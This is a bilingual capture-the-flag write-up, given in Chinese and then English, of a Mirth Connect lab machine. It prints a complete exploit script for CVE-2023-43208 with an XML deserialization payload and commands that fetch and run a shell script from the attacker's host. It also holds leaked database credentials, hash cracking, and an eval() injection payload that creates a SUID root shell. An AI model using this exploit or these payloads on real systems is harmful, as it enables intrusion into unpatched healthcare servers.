这是一份清晰完整的渗透测试(CTF靶机)实战笔记,记录了从初始访问到提权的完整攻击链路。攻击者首先通过Nmap扫描发现目标运行了 Mirth Connect 服务,并直接利用 CVE-2023-43208 漏洞实现未授权远程代码执行(RCE)获取打点权限 。在后渗透阶段,攻击者通过读取本地配置文件获取数据库凭据,提取出PBKDF2格式的密码哈希,并使用Hashcat成功破解出明文密码。最后,在提权阶段,攻击者分析本地运行的Python脚本(notif.py)时发现了 eval() 函数的格式化字符串注入漏洞。通过巧妙使用Base64编码执行系统命令,成功绕过了极其严格的正则表达式限制,利用XML payload创建了SUID bash,最终顺利拿下Root权限 。 This is a clear and complete practical note on penetration testing (CTF machine), documenting the complete attack chain from initial access to privilege escalation. The attacker first uses Nmap scanning to discover that the target is running the Mirth Connect service and directly exploits the CVE-2023-43208 vulnerability to achieve unauthorized remote code execution (RCE) and obtain initial access. In the post-exploitation phase, the attacker reads local configuration files to obtain database credentials, extracts PBKDF2-formatted password hashes, and successfully cracks them into plaintext passwords using Hashcat. Finally, in the privilege escalation phase, while analyzing the locally running Python script (notif.py), the attacker discovers a format string injection vulnerability in the eval() function. By skillfully using Base64 encoding to execute system commands, they successfully bypass extremely strict regular expression restrictions, use an XML payload to create a SUID bash, and ultimately obtain Root privileges smoothly.

Information Gathering

# Nmap 7.98 scan initiated Mon Feb 23 17:51:26 2026 as: /usr/lib/nmap/nmap -p 22,80,443,6661 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.90.198
Nmap scan report for 10.129.90.198
Host is up (0.16s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp   open  http     Jetty
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp  open  ssl/http Jetty
| http-methods:
|_  Potentially risky methods: TRACE
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
|_http-title: Mirth Connect Administrator
6661/tcp open  Mirth Connect 用于内部通信的专用端口。
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 23 17:54:34 2026 -- 1 IP address (1 host up) scanned in 188.23 seconds

应用程序:Mirth Connect

CVE-2023-43208

版本探测:

➜  Interpreter curl -k -H 'X-Requested-With: OpenAPI' https://10.129.90.198/api/server/version
4.4.0

poc

# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
#   (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
#   (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_payload(command, platform):
    if platform.lower() == "win":
        cmd = f"cmd.exe /c \"{command}\""
    else:
        cmd = f"{command}"

    xml_payload = f"""
<sorted-set>
    <string>ABCD</string>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
        <target class="org.apache.commons.collections4.functors.ChainedTransformer">
          <iTransformers>
            <org.apache.commons.collections4.functors.ConstantTransformer>
              <iConstant class="java-class">java.lang.Runtime</iConstant>
            </org.apache.commons.collections4.functors.ConstantTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>getMethod</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
                <java-class>[Ljava.lang.Class;</java-class>
              </iParamTypes>
              <iArgs>
                <string>getRuntime</string>
                <java-class-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>invoke</iMethodName>
              <iParamTypes>
                <java-class>java.lang.Object</java-class>
                <java-class>[Ljava.lang.Object;</java-class>
              </iParamTypes>
              <iArgs>
                <null/>
                <object-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>exec</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
              </iParamTypes>
              <iArgs>
                <string>{cmd}</string>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
          </iTransformers>
        </target>
        <methodName>transform</methodName>
        <eventTypes>
          <string>compareTo</string>
        </eventTypes>
      </handler>
    </dynamic-proxy>
</sorted-set>
"""
    return xml_payload

def exploit(target_url, command, platform):
    payload = generate_payload(command, platform)
    headers = {
        'Content-Type': 'application/xml',
        'X-Requested-With': 'OpenAPI'
    }
    try:
        response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
        if response.status_code == 500:
            print("The target appears to have executed the payload.")
        else:
            print("Failed to execute the payload.")
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-43208.')
    parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
    parser.add_argument('-u', '--url', required=True, help='Target URL.')
    parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')
    
    args = parser.parse_args()

    exploit(args.url, args.command, args.platform)

if __name__ == "__main__":
    main()

如何使用:

# 1
python3 CVE-2023-43208.py -c "wget http://10.10.16.83/shell.sh" -u https://10.129.90.198/ -p unix
# 2
python3 CVE-2023-43208.py -c "bash shell.sh" -u https://10.129.90.198/ -p unix

Exploitation (User Flag)

在文件发现

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
# database credentials
database.username = mirthdb
database.password = MirthPass123!

连接数据库

mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod

在数据库中获取到哈希密码:u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==是PBKDF2-HMAC-SHA256

  • 前 8 个字节: 随机生成的 Salt (盐值)。
  • 后 32 个字节: 实际经过高频迭代计算出的 Hash (散列值)。

写一个python整理hash

python3 -c "import base64; raw=base64.b64decode('u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=='); print('sha256:600000:' + base64.b64encode(raw[:8]).decode() + ':' + base64.b64encode(raw[8:]).decode())"

使用hashcat破解sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

破解得到密码:snowflake1

Privilege Escalation (Root Flag)

运行ss -tulnp发现54321端口运行着/usr/local/bin/notif.py(通过 ps aux | grep -E "python|bash|sh|php|java”

template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
    return eval(f"f'''{template}'''")

这里程序使用了 eval() (Evaluation function - 评估函数)eval() 会将传入的字符串当作 Python 代码直接运行。 开发者本来只想用它来动态解析 f-string (格式化字符串字面量),以计算患者的年龄 (datetime.now().year - year_of_birth)。但是,如果我们能控制 first、last 等变量,并在其中混入 {},eval() 在解析 f-string 时,就可以执行大括号里包含的任意 Python 代码!

正则表达式过滤

pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")

使用了 re.compile() (Regular Expression Compile - 正则表达式编译) 来限定输入字符。它只允许字母、数字和少部分标点符号 (., _, ', ", (, ), {, }, =, +, /)。

这道过滤最绝的地方在于,它直接封杀了:

  • 空格 (Space):导致你无法输入普通的 Shell 命令(如 cat /root/root.txt)。
  • 短横线 () 和管道符 (|):导致你无法传入命令行参数(如 bash -c)。
  • 尖括号 (<, >):阻止了重定向。

Base64 编码隐写执行就可以了

利用

第一步:制造base64

➜  Interpreter echo 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash'|base64
Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNoCg==

第二步:构造payload

{__import__('os').popen(__import__('base64').b64decode('Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNo').decode()).read()}

第三步:创建xml

cat << 'EOF' > /tmp/payload.xml
<patient>
    <firstname>{__import__('os').popen(__import__('base64').b64decode('Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNo').decode()).read()}</firstname>
    <lastname>a</lastname>
    <sender_app>b</sender_app>
    <timestamp>c</timestamp>
    <birth_date>10/10/2000</birth_date>
    <gender>M</gender>
</patient>
EOF

第四步:向该本地服务发送攻击请求

python3 -c 'import urllib.request; req = urllib.request.Request("http://127.0.0.1:54321/addPatient", data=open("/tmp/payload.xml", "rb").read()); print(urllib.request.urlopen(req).read().decode())'

或者

wget --header="Content-Type: application/xml" --post-file=/tmp/payload.xml http://127.0.0.1:54321/addPatient -qO -

第四步:提升

/tmp/rootbash -p

 

Information Gathering

# Nmap 7.98 scan initiated Mon Feb 23 17:51:26 2026 as: /usr/lib/nmap/nmap -p 22,80,443,6661 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.90.198
Nmap scan report for 10.129.90.198
Host is up (0.16s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp   open  http     Jetty
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp  open  ssl/http Jetty
| http-methods:
|_  Potentially risky methods: TRACE
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
|_http-title: Mirth Connect Administrator
6661/tcp open  Mirth Connect dedicated port for internal communication.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 23 17:54:34 2026 -- 1 IP address (1 host up) scanned in 188.23 seconds

Application: Mirth Connect

CVE-2023-43208

Version detection:

➜  Interpreter curl -k -H 'X-Requested-With: OpenAPI' https://10.129.90.198/api/server/version
4.4.0

PoC

# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
#   (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
#   (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_payload(command, platform):
    if platform.lower() == "win":
        cmd = f"cmd.exe /c \"{command}\""
    else:
        cmd = f"{command}"

    xml_payload = f"""
<sorted-set>
    <string>ABCD</string>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
        <target class="org.apache.commons.collections4.functors.ChainedTransformer">
          <iTransformers>
            <org.apache.commons.collections4.functors.ConstantTransformer>
              <iConstant class="java-class">java.lang.Runtime</iConstant>
            </org.apache.commons.collections4.functors.ConstantTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>getMethod</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
                <java-class>[Ljava.lang.Class;</java-class>
              </iParamTypes>
              <iArgs>
                <string>getRuntime</string>
                <java-class-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>invoke</iMethodName>
              <iParamTypes>
                <java-class>java.lang.Object</java-class>
                <java-class>[Ljava.lang.Object;</java-class>
              </iParamTypes>
              <iArgs>
                <null/>
                <object-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>exec</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
              </iParamTypes>
              <iArgs>
                <string>{cmd}</string>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
          </iTransformers>
        </target>
        <methodName>transform</methodName>
        <eventTypes>
          <string>compareTo</string>
        </eventTypes>
      </handler>
    </dynamic-proxy>
</sorted-set>
"""
    return xml_payload

def exploit(target_url, command, platform):
    payload = generate_payload(command, platform)
    headers = {
        'Content-Type': 'application/xml',
        'X-Requested-With': 'OpenAPI'
    }
    try:
        response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
        if response.status_code == 500:
            print("The target appears to have executed the payload.")
        else:
            print("Failed to execute the payload.")
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-43208.')
    parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
    parser.add_argument('-u', '--url', required=True, help='Target URL.')
    parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')
    
    args = parser.parse_args()

    exploit(args.url, args.command, args.platform)

if __name__ == "__main__":
    main()

How to use:

# 1
python3 CVE-2023-43208.py -c "wget http://10.10.16.83/shell.sh" -u https://10.129.90.198/ -p unix
# 2
python3 CVE-2023-43208.py -c "bash shell.sh" -u https://10.129.90.198/ -p unix

Exploitation (User Flag)

Found in file

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
# database credentials
database.username = mirthdb
database.password = MirthPass123!

Connect to database

mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod

In the database, the hashed password: u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== is PBKDF2-HMAC-SHA256

  • First 8 bytes: Randomly generated salt.
  • Last 32 bytes: The actual hash calculated through high-frequency iterations.

Write a Python script to format the hash

python3 -c "import base64; raw=base64.b64decode('u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=='); print('sha256:600000:' + base64.b64encode(raw[:8]).decode() + ':' + base64.b64encode(raw[8:]).decode())"

Use hashcat to crack sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

Cracked password: snowflake1

Privilege Escalation (Root Flag)

Running ss -tulnp reveals that port 54321 is running /usr/local/bin/notif.py (via ps aux | grep -E "python|bash|sh|php|java")

template = f"Patient {first} {last} ({gender}), {datetime.now().year - year_of_birth} years old, received from {sender} at {ts}"
try:
    return eval(f"f'''{template}'''")

The program uses eval() (Evaluation function - evaluation function). eval() will treat the passed string as Python code and execute it directly. The developer originally intended to use it to dynamically parse f-strings (formatted string literals) to calculate the patient's age (datetime.now().year - year_of_birth). However, if we can control variables like first and last, and mix in {} within them, eval() can execute any Python code contained within the curly braces when parsing the f-string!

Regular expression filtering

pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")

Uses re.compile() (regular expression compile) to limit input characters. It only allows letters, numbers, and a few punctuation symbols (., _, ', ", (, ), {, }, =, +, /).

The most clever part of this filter is that it directly blocks:

  • Space: prevents you from entering ordinary shell commands (e.g., cat /root/root.txt).
  • hyphen (-) and pipe (|): prevents you from passing command-line arguments (e.g., bash -c).
  • angle brackets (<, >): prevents redirection.

Simply use Base64 encoding to execute.

Exploitation

Step 1: Create base64

➜  Interpreter echo 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash'|base64
Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNoCg==

Step 2: Construct payload

{__import__('os').popen(__import__('base64').b64decode('Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNo').decode()).read()}

Step 3: Create XML

cat << 'EOF' > /tmp/payload.xml
<patient>
    <firstname>{__import__('os').popen(__import__('base64').b64decode('Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNo').decode()).read()}</firstname>
    <lastname>a</lastname>
    <sender_app>b</sender_app>
    <timestamp>c</timestamp>
    <birth_date>10/10/2000</birth_date>
    <gender>M</gender>
</patient>
EOF

Step 4: Send attack request to the local service

python3 -c 'import urllib.request; req = urllib.request.Request("http://127.0.0.1:54321/addPatient", data=open("/tmp/payload.xml", "rb").read()); print(urllib.request.urlopen(req).read().decode())'

or

wget --header="Content-Type: application/xml" --post-file=/tmp/payload.xml http://127.0.0.1:54321/addPatient -qO -

Step 4: Elevate

/tmp/rootbash -p